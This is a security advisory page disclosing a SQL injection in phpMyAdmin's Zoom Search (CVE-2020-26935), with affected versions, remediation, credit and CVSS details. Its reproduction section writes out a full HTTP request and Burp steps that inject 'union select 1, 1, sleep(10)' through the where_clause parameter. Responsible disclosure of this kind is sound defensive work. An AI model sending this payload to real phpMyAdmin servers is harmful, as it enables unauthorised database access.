--- title: "CX-2020-4281" date: "2020-10-10T07:00:00+00:00" url: "https://checkmarx.com/zero/vulnerabilities/cx-2020-4281/" --- # CX-2020-4281 [Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/) Fixed: Oct 10, 2020 CVE-2020-26935 **Published:** Oct 10, 2020 6.1 Medium Severity php SQLi AS André Sá Reported by Checkmarx Zero Details Overview ## Summary A SQL Injection vulnerability was discovered in phpMyAdmin through `SearchController`. ## Product phpMyAdmin versions 4.9.x before 4.9.6, and versions 5.0.x before 5.0.3. ## Impact It’s possible to inject malicious SQL code. ## Steps to reproduce Tested on 5.0.2. Send a request like the following: ```http POST /tbl_zoom_select.php HTTP/1.1 Host: Content-Type: application/x-www-form-urlencoded Content-Length: 125 Cookie: phpMyAdmin=5d0e6d29e0d29da3c0d3d13c5889efe2; pmaUser-1=%7B%22iv%22%3A%225qVKSsoHMqIDR7gcEV9JXA%3D%3D%22%2C%22mac%22%3A%226600f62825dc19f18f6750ebbbed31b61e784046%22%2C%22payload%22%3A%22f%5C%2FG6BxDqugygFK8FfJkKGw%3D%3D%22%7D; pmaAuth-1=%7B%22iv%22%3A%22vsY%5C%2FkQyprWj5ddaklExp1A%3D%3D%22%2C%22mac%22%3A%220f7848845805fd4f323a5fde87752ebaa016be36%22%2C%22payload%22%3A%22kvJLEU6RlHRLqTjFjxYL%2BV9CCXbfxhCvMbKq5CdORlI%3D%22%7D db=test&table=test_table&token=7f6f64702a2b623d583f772848777a35&get_data_row=true&where_clause=1+union+select+1,+1,+sleep(10) ``` Or follow these steps: 1. After having phpMyAdmin running, go to the *Zoom Search* page and fill in the form; 2. Intercept the message, e.g. with Burp, after hitting the *Go* button; 3. Add the `get_data_row` and `where_clause` parameters to the intercepted request — `get_data_row` set to `true`, and `where_clause` set to `1 UNION SELECT 1, 1, SLEEP(10)` (URL encoded); 4. And finally, after forwarding the request to phpMyAdmin, one can see the full query, and the response takes a long time to arrive (due to `SLEEP(10)`). ## Remediation Update to phpMyAdmin 4.9.6, 5.0.3, or later. ## Credit This issue was discovered and reported by Checkmarx SCA Security Researcher [André Sá](https://www.linkedin.com/in/andre-m-sa). ## Resources 1. [Vulnerable code](https://github.com/phpmyadmin/phpmyadmin/blob/RELEASE_5_0_2/libraries/classes/Controllers/Table/SearchController.php#L456-L457) 2. [PMASA-2020-6](https://www.phpmyadmin.net/security/PMASA-2020-6) 3. [MITRE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26935) 4. [d09ab9bc9d634ad08b866d42bb8c4109869d38d2](https://github.com/phpmyadmin/phpmyadmin/commit/d09ab9bc9d634ad08b866d42bb8c4109869d38d2) 0 Medium Severity CVSS v3.1 Score 6.1 CVSS v3.1 Vectors- Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: Required - Scope: Changed - Confidentiality Impact: Low - Integrity Impact: Low - Availability Impact: None Advisory Timeline1. Discovered Jun 3, 2020 Notified the phpMyAdmin project's maintainers 2. Fixed Oct 10, 2020 Official advisory released ## Explore more findings [27 Nov 2025 CVE-2025-34281 Stored Cross-Site Scripting (XSS) in ThingsBoard 6.2 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825 HTTP Response Splitting in cpp-httplib 6.9 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050 Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface 4.8 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374 Code Injection in UltiMaker Cura 7.8 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526 Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497 Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496 Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [ 14 Nov 2024 CVE-2024-51495 Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field 7.5 Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494 Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352 Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351 Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350 Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)